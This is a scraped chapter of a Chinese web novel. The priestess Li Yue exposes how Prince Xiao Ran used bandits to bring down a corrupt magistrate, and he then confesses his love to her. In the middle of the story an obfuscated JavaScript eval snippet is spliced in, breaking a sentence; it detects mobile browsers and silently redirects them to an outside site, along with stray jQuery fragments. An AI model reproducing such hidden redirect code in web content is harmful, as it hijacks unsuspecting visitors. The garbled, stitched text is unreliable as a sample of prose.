黎玥卷起画,收进画筒,递还给身旁的小丫鬟。
琳琅接过画收好,“小姐,真是神了,祈福仪式一过,当晚吴庸就遭报应了。”
“哪有什么神不神的。”黎玥轻叹,“不过是人力促成的。”
“人力?”
琳琅不解,不确定道:“小姐是指,七皇子?”她顿了顿,又否认,“但是七皇子日日待在府中笙歌燕舞,也没见他有何作为,怎么就……”
“琳琅,萧然那家伙,说难听点,就是当面一套,背后一套,谁都摸不准他的心思。”黎玥摇摇头,调转步子,挑起珠帘,抬步往外走。
“小姐,你去哪儿?”琳琅跟上去。
“自然是去找那位表里不一的七殿下。”
“好,奴婢也去。”
……
府邸大且奢靡。
园中小桥流水,花木扶疏,长廊曲折回环,黎玥走在其间,也是记过几次,才不至于迷路。
到了书房,南风却言萧然不在。
“黎祭司,是这样的,殿下说府中太闷,去西山登山了。”
“去登山?”黎玥顿觉头疼。
萧然脑子又抽了?
“是,殿下还特意嘱咐属下,若是黎祭司来寻,属下可以带祭司一同前去。”南风恭恭敬敬道。
琳琅拉了拉身旁人衣袖,“小姐,要不别去了,等下次?”
黎玥思忖片刻,抬眸问:“西山……离这里多远?”
“乘马车的话,大概半柱香时间。”
“走。”
黎玥转身,衣袂生风。
“小姐,你真要去?”琳琅略显不安。
“择日不如撞日,正巧我也闷了,出去看风景。”黎玥脚步不停,“琳琅,你便不用去了,南音同我一起。”
“那小姐万事小心。”
琳琅一路跟随人到府门口。
黎玥点头,上了马车。
南风驾马,马车一路奔向西山。
等下了马车,南风坐在马上,为她指路,“黎祭司,殿下在那棵树下等您,若没别的事,属下先走了。”
“好。”
见人答应,南风驾起马离开,车轱辘声远去,带起的风扬起裙摆。
黎玥一人站在原地,仰头眺望西山,山峰很高,耸立云霄,直指青天。
若真登上了山顶,这一上一下,天黑前不知能不能回去。
她想着,还是先抬步去了树下,四顾无人,忽地,头顶冒出一道清亮的声音。
“黎祭司,来了?”
黎玥抬手挡在额前,循声看去。
一道道光束从叶的缝隙间透下,萧然枕着胳膊,躺在最粗壮的一根枝干上,微微侧头,懒洋洋地望向她。
好家伙,说是登山,躲树上乘凉呢。
黎玥腹诽,面上倒扬起笑容,朝枝杈间那人喊道:“殿下,树上的虫子可多了,您不怕被咬?”
这话明摆着不是好意。
但在萧然眼里,女子仰头立于树下,笑意明媚,容色生辉,斑驳光点落于身,又透出股狡黠灵动劲儿。
与儿时的那位玩伴一般无二。
萧然只觉身心愉悦,“黎祭司,要不本王带你上来?”
“那倒不必。”
黎玥赶紧拒绝,“殿下不是说登山么?怎成了爬树?”
话音一落,人影从树上跳下,扑簌簌枝叶随之而落,一两片掉在黎玥脚边。
萧然丢掉发间几片落叶,“天热,不去。”
“那你来这儿……”
难不成真是脑子抽了?
黎玥及时止损,没说出后半句话。
“黎祭司呢?找我有何事?”萧然转了话头。
“自是来一表敬意。”
“如何说?”
萧然找了一块阴凉地,盘腿而坐。
“殿下自己不清楚?玩得好一手借刀杀人,金蝉脱壳。”黎玥背过身,朝外走了两步,“来闵县之初,你接下各官员礼物,不愿乘马车,偏要徒步走,不过是为切实熟悉闵县各处地方。”
“而在吴庸提起匪患时,你恰恰找准了时机,开始计划。”
“那段时日,你看似留在府中日日笙歌,实则……玥不才,猜那在府中玩乐的是替身?不过是做个假象给外人看罢了。”
“吴庸那人势利圆滑,绝不是什么清白好官,后面,有李大人的相帮,你找齐了他的罪证,又在假象掩盖下,摸清县里的布防,好在后面放土匪进来。”
“终于,你在祈福前一晚,找到了吴庸府中藏赃物的地方,顺便还躲来了我的住处。”黎玥眸色平静,“那一晚,你口中的秘密,便是吴府密室。”
“之后,你将县里的布防图,包括密室地点,一并送去土匪窝,当然,也许不止这些,我不知晓你写了什么,鼓动了那群土匪,致使他们在祈福当晚,便潜进吴府,烧杀抢掠,然而,他们既是你放进来的,你想收拾他们,将其一网打尽,也是轻而易举的事。”
“可惜了,那土匪首领浑不知情,还对你心存感激,他口中的义士,想必是殿下没错。”
“总而言之,你借土匪的刀,下了吴庸的位,布好一切,让李大人上位,洗清县中奸侫,全权接手大小事务。”
“闵县,已全然在你的掌控之中。”
“而旁人,还以为你是那个只知吃喝享乐,无所作为的湛王殿下。”
她说完,走近萧然,负手俯下身,眉眼弯弯地看着他,“玥说的可对?”
萧然面色不变,只望着她,倏地抬手,碰上女子的发丝。
黎玥一愣,下意识避开,看向他的眼神充斥不解。
“你的簪子歪了。”
萧然咧开嘴,粲然一笑。
“……”
黎玥皱着眉无奈:“殿下,说正事。”
“天底下哪来如此多的正事……”萧然掰起指头,孩子似地数落,“上一次你去找我,要我去做正事,这一次,又谈起正事……”
“……殿下,你多大了?”黎玥打断他的话。
“比黎祭司大。”
萧然浑不在意,依然笑得没心没肺。
“好,那殿下想说什么?”
“黎祭司,你说……我们是不是同一种人?”萧然冲她眨了下眼。
黎玥怔然,“问这个作甚?”
“我好奇,想请黎祭司解答。”
萧然盘着腿,将胳膊支在膝盖上,托起下颌,饶有兴致地盯着她。
“这……”
黎玥陷入沉思,若说她和萧然,的确在某些方面相似,同样戴着假面,一个以清冷正经的圣女示人,一个以无能平庸,只知享乐的皇子示人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622176|172304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>也唯有彼此,才能看破对方的伪装。
“也许……在一些情况下……是吧。”她斟酌着措辞回答。
萧然若有所思地点头,似乎对这个答案满意,抛出下一个问题,“物以类聚,人以群分,那黎祭司觉得,同一种人,可不可以永远在一起?”
“殿下是指……你我?”
黎玥指指他,又指指自己,神情疑惑。
“不错。”
黎玥闻言倒吸一口凉气,心中有了一个相当恐怖的猜测,“殿下是对我不满?要我给你当一辈子牛马,效力终生?”
那可不行,她一定得跑!
“黎祭司想偏了。”
萧然拍了一下大腿,罕见地犯起难,站起来对树慨叹一声,又原地坐下,浑身躁动,不知所谓,看得黎玥第三次觉得他脑子抽了。
终于,他长舒一口气,“我是指,地位平等,嗯……相伴终生。”
萧然缓缓说这一句话,随之,耳廓渐渐泛红,蔓延至脸上。他低下头,咳嗽一声,看着很不自在。
黎玥自然察觉到了异常,有了一个更恐怖的猜测,小心翼翼,试探地问:“殿下,你不是喜欢我吧?”
话刚说完,黎玥看到他的脸更红了。
半晌,他才抬起头,这一回,他神色认真,再不见嬉闹之态,像在认清自己,又像在与对方笃定一个事实。
“是。”他答。
黎玥落荒而逃。
……
李恪言自接手事务以来,把闵县治理得很好。先是借吴庸一事,迅速清理掉一批贪官污吏,而后招揽可用之人,一条条落实治灾良策。
在萧然授意下,开仓放粮。
灾民虽说达不到饱足,但也不至于整日饿肚子。
萧然变换了所有先前官员送来的礼物,包括那颗玛瑙珠子,拿到了一大笔钱。
他把钱“赏”给李恪言。
李恪言拿钱与过往商队换来衣物,分发给灾民,温饱问题改善,李大人的好名声传遍整个闵县。
一切皆是欣欣向荣之态。
如此,也没了黎玥不少事。
这本是好事,琳琅却觉得,小姐近日有些奇怪。
成日闷在屋子里。
走神次数更多了,还时不时抱头焦躁。
琳琅有意去纾解。
“小姐,听说闵县如意楼菜色不错,我们去尝尝?”
“不去。”
“小姐,外边开了好大一片莲花,我们去看看?”
“不去。”
“小姐,听……”
“不去。”
“好吧。”琳琅暂且放弃。
对于黎玥来说,那日萧然树下所言,仿若一场荒诞至极的梦。
可这不是梦。
她需要从头到尾,从前至后,慢慢地,好好地理一理,找出一条线,抽开一团乱麻。
但好景不长,上天不给她时间。
闵县晴过几天后,又是暴雨如注,没有停下的势头。府中积水已没过脚踝,下人清扫不及,处处慌乱。
临近黄昏,电闪雷鸣。
黎玥撑伞走在园子里,快步踩过积水,溅起的水花浸湿裙摆,后背也湿了大片,她却毫不在意,直奔书房。
萧然头一次这般紧急叫她。
她心知可能出了大事。